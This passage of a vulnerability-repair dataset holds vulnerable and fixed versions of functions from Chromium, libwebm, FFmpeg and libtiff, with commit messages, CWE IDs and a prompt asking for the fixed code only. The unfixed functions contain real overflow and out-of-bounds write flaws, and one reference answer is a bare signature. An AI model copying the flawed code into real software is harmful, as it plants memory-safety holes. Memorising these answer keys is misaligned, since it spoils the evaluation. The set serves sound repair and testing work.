(replacement.find(":") == std::string::npos) return std::move(failed_response); std::string find; std::string with; base::Base64Decode(replacement.substr(0, replacement.find(":")), &find); base::Base64Decode(replacement.substr(replacement.find(":") + 1), &with); base::ReplaceSubstringsAfterOffset(&file_contents, 0, find, with); } } base::FilePath::StringPieceType mock_headers_extension; #if defined(OS_WIN) base::string16 temp = base::ASCIIToUTF16(kMockHttpHeadersExtension); mock_headers_extension = temp; #else mock_headers_extension = kMockHttpHeadersExtension; #endif base::FilePath headers_path(file_path.AddExtension(mock_headers_extension)); if (base::PathExists(headers_path)) { std::string headers_contents; if (!base::ReadFileToString(headers_path, &headers_contents)) return nullptr; return std::make_unique<RawHttpResponse>(headers_contents, file_contents); } std::unique_ptr<BasicHttpResponse> http_response(new BasicHttpResponse); http_response->set_code(HTTP_OK); if (request.headers.find("Range") != request.headers.end()) { std::vector<HttpByteRange> ranges; if (HttpUtil::ParseRangeHeader(request.headers.at("Range"), &ranges) && ranges.size() == 1) { ranges[0].ComputeBounds(file_contents.size()); size_t start = ranges[0].first_byte_position(); size_t end = ranges[0].last_byte_position(); http_response->set_code(HTTP_PARTIAL_CONTENT); http_response->AddCustomHeader( "Content-Range", base::StringPrintf("bytes %" PRIuS "-%" PRIuS "/%" PRIuS, start, end, file_contents.size())); file_contents = file_contents.substr(start, end - start + 1); } } http_response->set_content_type(GetContentType(file_path)); http_response->AddCustomHeader("Accept-Ranges", "bytes"); http_response->AddCustomHeader("ETag", "'" + file_path.MaybeAsASCII() + "'"); http_response->set_content(file_contents); return std::move(http_response); } Commit Message: Fix ChromeResourceDispatcherHostDelegateMirrorBrowserTest.MirrorRequestHeader with network service. The functionality worked, as part of converting DICE, however the test code didn't work since it depended on accessing the net objects directly. Switch the tests to use the EmbeddedTestServer, to better match production, which removes the dependency on net/. Also: -make GetFilePathWithReplacements replace strings in the mock headers if they're present -add a global to google_util to ignore ports; that way other tests can be converted without having to modify each callsite to google_util Bug: 881976 Change-Id: Ic52023495c1c98c1248025c11cdf37f433fef058 Reviewed-on: https://chromium-review.googlesource.com/c/1328142 Commit-Queue: John Abd-El-Malek <[email protected]> Reviewed-by: Ramin Halavati <[email protected]> Reviewed-by: Maks Orlovich <[email protected]> Reviewed-by: Peter Kasting <[email protected]> Cr-Commit-Position: refs/heads/master@{#607652} CWE ID:
std::unique_ptr<HttpResponse> HandleFileRequest( const base::FilePath& server_root, const HttpRequest& request) { base::ScopedAllowBlockingForTesting allow_blocking; GURL request_url = request.GetURL(); std::string relative_path(request_url.path()); std::string post_prefix("/post/"); if (base::StartsWith(relative_path, post_prefix, base::CompareCase::SENSITIVE)) { if (request.method != METHOD_POST) return nullptr; relative_path = relative_path.substr(post_prefix.size() - 1); } RequestQuery query = ParseQuery(request_url); std::unique_ptr<BasicHttpResponse> failed_response(new BasicHttpResponse); failed_response->set_code(HTTP_NOT_FOUND); if (query.find("expected_body") != query.end()) { if (request.content.find(query["expected_body"].front()) == std::string::npos) { return std::move(failed_response); } } if (query.find("expected_headers") != query.end()) { for (const auto& header : query["expected_headers"]) { if (header.find(":") == std::string::npos) return std::move(failed_response); std::string key = header.substr(0, header.find(":")); std::string value = header.substr(header.find(":") + 1); if (request.headers.find(key) == request.headers.end() || request.headers.at(key) != value) { return std::move(failed_response); } } } DCHECK(base::StartsWith(relative_path, "/", base::CompareCase::SENSITIVE)); std::string request_path = relative_path.substr(1); base::FilePath file_path(server_root.AppendASCII(request_path)); std::string file_contents; if (!base::ReadFileToString(file_path, &file_contents)) { file_path = file_path.AppendASCII("index.html"); if (!base::ReadFileToString(file_path, &file_contents)) return nullptr; } if (request.method == METHOD_HEAD) file_contents = ""; if (!UpdateReplacedText(query, &file_contents)) return std::move(failed_response); base::FilePath::StringPieceType mock_headers_extension; #if defined(OS_WIN) base::string16 temp = base::ASCIIToUTF16(kMockHttpHeadersExtension); mock_headers_extension = temp; #else mock_headers_extension = kMockHttpHeadersExtension; #endif base::FilePath headers_path(file_path.AddExtension(mock_headers_extension)); if (base::PathExists(headers_path)) { std::string headers_contents; if (!base::ReadFileToString(headers_path, &headers_contents) || !UpdateReplacedText(query, &headers_contents)) { return nullptr; } return std::make_unique<RawHttpResponse>(headers_contents, file_contents); } std::unique_ptr<BasicHttpResponse> http_response(new BasicHttpResponse); http_response->set_code(HTTP_OK); if (request.headers.find("Range") != request.headers.end()) { std::vector<HttpByteRange> ranges; if (HttpUtil::ParseRangeHeader(request.headers.at("Range"), &ranges) && ranges.size() == 1) { ranges[0].ComputeBounds(file_contents.size()); size_t start = ranges[0].first_byte_position(); size_t end = ranges[0].last_byte_position(); http_response->set_code(HTTP_PARTIAL_CONTENT); http_response->AddCustomHeader( "Content-Range", base::StringPrintf("bytes %" PRIuS "-%" PRIuS "/%" PRIuS, start, end, file_contents.size())); file_contents = file_contents.substr(start, end - start + 1); } } http_response->set_content_type(GetContentType(file_path)); http_response->AddCustomHeader("Accept-Ranges", "bytes"); http_response->AddCustomHeader("ETag", "'" + file_path.MaybeAsASCII() + "'"); http_response->set_content(file_contents); return std::move(http_response); }
172,585
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: unsigned long long Track::GetCodecDelay() const { return m_info.codecDelay; } Commit Message: libwebm: Pull from upstream Rolling mkvparser from upstream. Primarily for fixing a bug on parsing failures with certain Opus WebM files. Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae The diff is so huge because there were some style clean ups upstream. But it was ensured that there were no breaking changes when the style clean ups was done upstream. Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039 CWE ID: CWE-119
unsigned long long Track::GetCodecDelay() const
174,292
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static int parse_video_info(AVIOContext *pb, AVStream *st) { uint16_t size_asf; // ASF-specific Format Data size uint32_t size_bmp; // BMP_HEADER-specific Format Data size unsigned int tag; st->codecpar->width = avio_rl32(pb); st->codecpar->height = avio_rl32(pb); avio_skip(pb, 1); // skip reserved flags size_asf = avio_rl16(pb); tag = ff_get_bmp_header(pb, st, &size_bmp); st->codecpar->codec_tag = tag; st->codecpar->codec_id = ff_codec_get_id(ff_codec_bmp_tags, tag); size_bmp = FFMAX(size_asf, size_bmp); if (size_bmp > BMP_HEADER_SIZE) { int ret; st->codecpar->extradata_size = size_bmp - BMP_HEADER_SIZE; if (!(st->codecpar->extradata = av_malloc(st->codecpar->extradata_size + AV_INPUT_BUFFER_PADDING_SIZE))) { st->codecpar->extradata_size = 0; return AVERROR(ENOMEM); } memset(st->codecpar->extradata + st->codecpar->extradata_size , 0, AV_INPUT_BUFFER_PADDING_SIZE); if ((ret = avio_read(pb, st->codecpar->extradata, st->codecpar->extradata_size)) < 0) return ret; } return 0; } Commit Message: avformat/asfdec_o: Check size_bmp more fully Fixes: integer overflow and out of array access Fixes: asfo-crash-46080c4341572a7137a162331af77f6ded45cbd7 Found-by: Paul Ch <[email protected]> Signed-off-by: Michael Niedermayer <[email protected]> CWE ID: CWE-119
static int parse_video_info(AVIOContext *pb, AVStream *st) { uint16_t size_asf; // ASF-specific Format Data size uint32_t size_bmp; // BMP_HEADER-specific Format Data size unsigned int tag; st->codecpar->width = avio_rl32(pb); st->codecpar->height = avio_rl32(pb); avio_skip(pb, 1); // skip reserved flags size_asf = avio_rl16(pb); tag = ff_get_bmp_header(pb, st, &size_bmp); st->codecpar->codec_tag = tag; st->codecpar->codec_id = ff_codec_get_id(ff_codec_bmp_tags, tag); size_bmp = FFMAX(size_asf, size_bmp); if (size_bmp > BMP_HEADER_SIZE && size_bmp < INT_MAX - AV_INPUT_BUFFER_PADDING_SIZE) { int ret; st->codecpar->extradata_size = size_bmp - BMP_HEADER_SIZE; if (!(st->codecpar->extradata = av_malloc(st->codecpar->extradata_size + AV_INPUT_BUFFER_PADDING_SIZE))) { st->codecpar->extradata_size = 0; return AVERROR(ENOMEM); } memset(st->codecpar->extradata + st->codecpar->extradata_size , 0, AV_INPUT_BUFFER_PADDING_SIZE); if ((ret = avio_read(pb, st->codecpar->extradata, st->codecpar->extradata_size)) < 0) return ret; } return 0; }
168,926
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: tsize_t t2p_readwrite_pdf_image(T2P* t2p, TIFF* input, TIFF* output){ tsize_t written=0; unsigned char* buffer=NULL; unsigned char* samplebuffer=NULL; tsize_t bufferoffset=0; tsize_t samplebufferoffset=0; tsize_t read=0; tstrip_t i=0; tstrip_t j=0; tstrip_t stripcount=0; tsize_t stripsize=0; tsize_t sepstripcount=0; tsize_t sepstripsize=0; #ifdef OJPEG_SUPPORT toff_t inputoffset=0; uint16 h_samp=1; uint16 v_samp=1; uint16 ri=1; uint32 rows=0; #endif /* ifdef OJPEG_SUPPORT */ #ifdef JPEG_SUPPORT unsigned char* jpt; float* xfloatp; uint64* sbc; unsigned char* stripbuffer; tsize_t striplength=0; uint32 max_striplength=0; #endif /* ifdef JPEG_SUPPORT */ /* Fail if prior error (in particular, can't trust tiff_datasize) */ if (t2p->t2p_error != T2P_ERR_OK) return(0); if(t2p->pdf_transcode == T2P_TRANSCODE_RAW){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if (buffer == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for " "t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ /* * make sure is lsb-to-msb * bit-endianness fill order */ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif /* ifdef CCITT_SUPPORT */ #ifdef ZIP_SUPPORT if (t2p->pdf_compression == T2P_COMPRESS_ZIP) { buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB) { TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif /* ifdef ZIP_SUPPORT */ #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG) { if(t2p->tiff_dataoffset != 0) { buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); if(t2p->pdf_ojpegiflength==0){ inputoffset=t2pSeekFile(input, 0, SEEK_CUR); t2pSeekFile(input, t2p->tiff_dataoffset, SEEK_SET); t2pReadFile(input, (tdata_t) buffer, t2p->tiff_datasize); t2pSeekFile(input, inputoffset, SEEK_SET); t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } else { inputoffset=t2pSeekFile(input, 0, SEEK_CUR); t2pSeekFile(input, t2p->tiff_dataoffset, SEEK_SET); bufferoffset = t2pReadFile(input, (tdata_t) buffer, t2p->pdf_ojpegiflength); t2p->pdf_ojpegiflength = 0; t2pSeekFile(input, inputoffset, SEEK_SET); TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &h_samp, &v_samp); buffer[bufferoffset++]= 0xff; buffer[bufferoffset++]= 0xdd; buffer[bufferoffset++]= 0x00; buffer[bufferoffset++]= 0x04; h_samp*=8; v_samp*=8; ri=(t2p->tiff_width+h_samp-1) / h_samp; TIFFGetField(input, TIFFTAG_ROWSPERSTRIP, &rows); ri*=(rows+v_samp-1)/v_samp; buffer[bufferoffset++]= (ri>>8) & 0xff; buffer[bufferoffset++]= ri & 0xff; stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ if(i != 0 ){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=(0xd0 | ((i-1)%8)); } bufferoffset+=TIFFReadRawStrip(input, i, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } } else { if(! t2p->pdf_ojpegdata){ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with bad tables", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); _TIFFmemcpy(buffer, t2p->pdf_ojpegdata, t2p->pdf_ojpegdatalength); bufferoffset=t2p->pdf_ojpegdatalength; stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ if(i != 0){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=(0xd0 | ((i-1)%8)); } bufferoffset+=TIFFReadRawStrip(input, i, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } if( ! ( (buffer[bufferoffset-1]==0xd9) && (buffer[bufferoffset-2]==0xff) ) ){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=0xd9; } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); #if 0 /* This hunk of code removed code is clearly mis-placed and we are not sure where it should be (if anywhere) */ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with no JPEG File Interchange offset", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); #endif } } #endif /* ifdef OJPEG_SUPPORT */ #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG) { uint32 count = 0; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); if (TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0) { if(count > 4) { _TIFFmemcpy(buffer, jpt, count); bufferoffset += count - 2; } } stripcount=TIFFNumberOfStrips(input); TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); for(i=0;i<stripcount;i++){ if(sbc[i]>max_striplength) max_striplength=sbc[i]; } stripbuffer = (unsigned char*) _TIFFmalloc(max_striplength); if(stripbuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", max_striplength, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } for(i=0;i<stripcount;i++){ striplength=TIFFReadRawStrip(input, i, (tdata_t) stripbuffer, -1); if(!t2p_process_jpeg_strip( stripbuffer, &striplength, buffer, &bufferoffset, i, t2p->tiff_length)){ TIFFError(TIFF2PDF_MODULE, "Can't process JPEG data in input file %s", TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=0xd9; t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(stripbuffer); _TIFFfree(buffer); return(bufferoffset); } #endif /* ifdef JPEG_SUPPORT */ (void)0; } if(t2p->pdf_sample==T2P_SAMPLE_NOTHING){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); stripsize=TIFFStripSize(input); stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ read = TIFFReadEncodedStrip(input, i, (tdata_t) &buffer[bufferoffset], TIFFmin(stripsize, t2p->tiff_datasize - bufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } bufferoffset+=read; } } else { if(t2p->pdf_sample & T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG){ sepstripsize=TIFFStripSize(input); sepstripcount=TIFFNumberOfStrips(input); stripsize=sepstripsize*t2p->tiff_samplesperpixel; stripcount=sepstripcount/t2p->tiff_samplesperpixel; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); samplebuffer = (unsigned char*) _TIFFmalloc(stripsize); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } for(i=0;i<stripcount;i++){ samplebufferoffset=0; for(j=0;j<t2p->tiff_samplesperpixel;j++){ read = TIFFReadEncodedStrip(input, i + j*stripcount, (tdata_t) &(samplebuffer[samplebufferoffset]), TIFFmin(sepstripsize, stripsize - samplebufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i + j*stripcount, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } samplebufferoffset+=read; } t2p_sample_planar_separate_to_contig( t2p, &(buffer[bufferoffset]), samplebuffer, samplebufferoffset); bufferoffset+=samplebufferoffset; } _TIFFfree(samplebuffer); goto dataready; } buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); stripsize=TIFFStripSize(input); stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ read = TIFFReadEncodedStrip(input, i, (tdata_t) &buffer[bufferoffset], TIFFmin(stripsize, t2p->tiff_datasize - bufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i, TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } bufferoffset+=read; } if(t2p->pdf_sample & T2P_SAMPLE_REALIZE_PALETTE){ samplebuffer=(unsigned char*)_TIFFrealloc( (tdata_t) buffer, t2p->tiff_datasize * t2p->tiff_samplesperpixel); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } else { buffer=samplebuffer; t2p->tiff_datasize *= t2p->tiff_samplesperpixel; } t2p_sample_realize_palette(t2p, buffer); } if(t2p->pdf_sample & T2P_SAMPLE_RGBA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgba_to_rgb( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_RGBAA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgbaa_to_rgb( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_YCBCR_TO_RGB){ samplebuffer=(unsigned char*)_TIFFrealloc( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length*4); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } else { buffer=samplebuffer; } if(!TIFFReadRGBAImageOriented( input, t2p->tiff_width, t2p->tiff_length, (uint32*)buffer, ORIENTATION_TOPLEFT, 0)){ TIFFError(TIFF2PDF_MODULE, "Can't use TIFFReadRGBAImageOriented to extract RGB image from %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } t2p->tiff_datasize=t2p_sample_abgr_to_rgb( (tdata_t) buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED){ t2p->tiff_datasize=t2p_sample_lab_signed_to_unsigned( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } } dataready: t2p_disable(output); TIFFSetField(output, TIFFTAG_PHOTOMETRIC, t2p->tiff_photometric); TIFFSetField(output, TIFFTAG_BITSPERSAMPLE, t2p->tiff_bitspersample); TIFFSetField(output, TIFFTAG_SAMPLESPERPIXEL, t2p->tiff_samplesperpixel); TIFFSetField(output, TIFFTAG_IMAGEWIDTH, t2p->tiff_width); TIFFSetField(output, TIFFTAG_IMAGELENGTH, t2p->tiff_length); TIFFSetField(output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_length); TIFFSetField(output, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG); TIFFSetField(output, TIFFTAG_FILLORDER, FILLORDER_MSB2LSB); switch(t2p->pdf_compression){ case T2P_COMPRESS_NONE: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_NONE); break; #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_CCITTFAX4); break; #endif /* ifdef CCITT_SUPPORT */ #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: if(t2p->tiff_photometric==PHOTOMETRIC_YCBCR) { uint16 hor = 0, ver = 0; if (TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &hor, &ver) !=0 ) { if(hor != 0 && ver != 0){ TIFFSetField(output, TIFFTAG_YCBCRSUBSAMPLING, hor, ver); } } if(TIFFGetField(input, TIFFTAG_REFERENCEBLACKWHITE, &xfloatp)!=0){ TIFFSetField(output, TIFFTAG_REFERENCEBLACKWHITE, xfloatp); } } if(TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_JPEG)==0){ TIFFError(TIFF2PDF_MODULE, "Unable to use JPEG compression for input %s and output %s", TIFFFileName(input), TIFFFileName(output)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFSetField(output, TIFFTAG_JPEGTABLESMODE, 0); if(t2p->pdf_colorspace & (T2P_CS_RGB | T2P_CS_LAB)){ TIFFSetField(output, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR){ TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RAW); } } if(t2p->pdf_colorspace & T2P_CS_GRAY){ (void)0; } if(t2p->pdf_colorspace & T2P_CS_CMYK){ (void)0; } if(t2p->pdf_defaultcompressionquality != 0){ TIFFSetField(output, TIFFTAG_JPEGQUALITY, t2p->pdf_defaultcompressionquality); } break; #endif /* ifdef JPEG_SUPPORT */ #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_DEFLATE); if(t2p->pdf_defaultcompressionquality%100 != 0){ TIFFSetField(output, TIFFTAG_PREDICTOR, t2p->pdf_defaultcompressionquality % 100); } if(t2p->pdf_defaultcompressionquality/100 != 0){ TIFFSetField(output, TIFFTAG_ZIPQUALITY, (t2p->pdf_defaultcompressionquality / 100)); } break; #endif /* ifdef ZIP_SUPPORT */ default: break; } t2p_enable(output); t2p->outputwritten = 0; #ifdef JPEG_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_JPEG && t2p->tiff_photometric == PHOTOMETRIC_YCBCR){ bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer, stripsize * stripcount); } else #endif /* ifdef JPEG_SUPPORT */ { bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer, t2p->tiff_datasize); } if (buffer != NULL) { _TIFFfree(buffer); buffer=NULL; } if (bufferoffset == (tsize_t)-1) { TIFFError(TIFF2PDF_MODULE, "Error writing encoded strip to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } written = t2p->outputwritten; return(written); } Commit Message: * tools/tiffcrop.c: fix various out-of-bounds write vulnerabilities in heap or stack allocated buffers. Reported as MSVR 35093, MSVR 35096 and MSVR 35097. Discovered by Axel Souchet and Vishal Chauhan from the MSRC Vulnerabilities & Mitigations team. * tools/tiff2pdf.c: fix out-of-bounds write vulnerabilities in heap allocate buffer in t2p_process_jpeg_strip(). Reported as MSVR 35098. Discovered by Axel Souchet and Vishal Chauhan from the MSRC Vulnerabilities & Mitigations team. * libtiff/tif_pixarlog.c: fix out-of-bounds write vulnerabilities in heap allocated buffers. Reported as MSVR 35094. Discovered by Axel Souchet and Vishal Chauhan from the MSRC Vulnerabilities & Mitigations team. * libtiff/tif_write.c: fix issue in error code path of TIFFFlushData1() that didn't reset the tif_rawcc and tif_rawcp members. I'm not completely sure if that could happen in practice outside of the odd behaviour of t2p_seekproc() of tiff2pdf). The report points that a better fix could be to check the return value of TIFFFlushData1() in places where it isn't done currently, but it seems this patch is enough. Reported as MSVR 35095. Discovered by Axel Souchet & Vishal Chauhan & Suha Can from the MSRC Vulnerabilities & Mitigations team. CWE ID: CWE-787
tsize_t t2p_readwrite_pdf_image(T2P* t2p, TIFF* input, TIFF* output){ tsize_t written=0; unsigned char* buffer=NULL; unsigned char* samplebuffer=NULL; tsize_t bufferoffset=0; tsize_t samplebufferoffset=0; tsize_t read=0; tstrip_t i=0; tstrip_t j=0; tstrip_t stripcount=0; tsize_t stripsize=0; tsize_t sepstripcount=0; tsize_t sepstripsize=0; #ifdef OJPEG_SUPPORT toff_t inputoffset=0; uint16 h_samp=1; uint16 v_samp=1; uint16 ri=1; uint32 rows=0; #endif /* ifdef OJPEG_SUPPORT */ #ifdef JPEG_SUPPORT unsigned char* jpt; float* xfloatp; uint64* sbc; unsigned char* stripbuffer; tsize_t striplength=0; uint32 max_striplength=0; #endif /* ifdef JPEG_SUPPORT */ /* Fail if prior error (in particular, can't trust tiff_datasize) */ if (t2p->t2p_error != T2P_ERR_OK) return(0); if(t2p->pdf_transcode == T2P_TRANSCODE_RAW){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if (buffer == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for " "t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ /* * make sure is lsb-to-msb * bit-endianness fill order */ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif /* ifdef CCITT_SUPPORT */ #ifdef ZIP_SUPPORT if (t2p->pdf_compression == T2P_COMPRESS_ZIP) { buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB) { TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif /* ifdef ZIP_SUPPORT */ #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG) { 